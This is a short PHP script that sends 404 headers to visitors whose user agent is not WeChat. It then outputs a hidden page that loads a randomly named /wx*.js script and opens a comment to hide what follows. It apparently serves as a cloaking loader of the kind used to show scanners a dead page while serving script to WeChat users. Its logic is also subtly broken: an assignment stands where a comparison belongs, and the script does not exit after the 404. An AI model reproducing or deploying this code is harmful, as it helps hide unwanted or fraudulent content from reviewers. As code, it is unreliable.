﻿<?php
	function getRandChar($length){
   $str = null;
   $strPol = "0123456789abcdefghijklmnopqrstuvwxyz";
   $max = strlen($strPol)-1;

   for($i=0;$i<$length;$i++){
    $str.=$strPol[rand(0,$max)];//rand($min,$max)生成介于min和max两个数之间的一个随机整数
   }

   return $str;
  } 
   $jss=getRandChar(25);
   if(!strstr($_SERVER['HTTP_USER_AGENT'],"MicroMessenger")) 
  { 
   header('HTTP/1.1 404 Not Found');
     header("status: 404 Not Found"); 
   
  }
   $from=$_GET['from'];
   if($from="")
   {
  header('HTTP/1.1 404 Not Found');
    header("status: 404 Not Found");   
   }
    echo "<body/hidden style=background-image:url(#);background-color:#353535;><script src=/wx".$jss.".js?type=1></script><!--";
?>


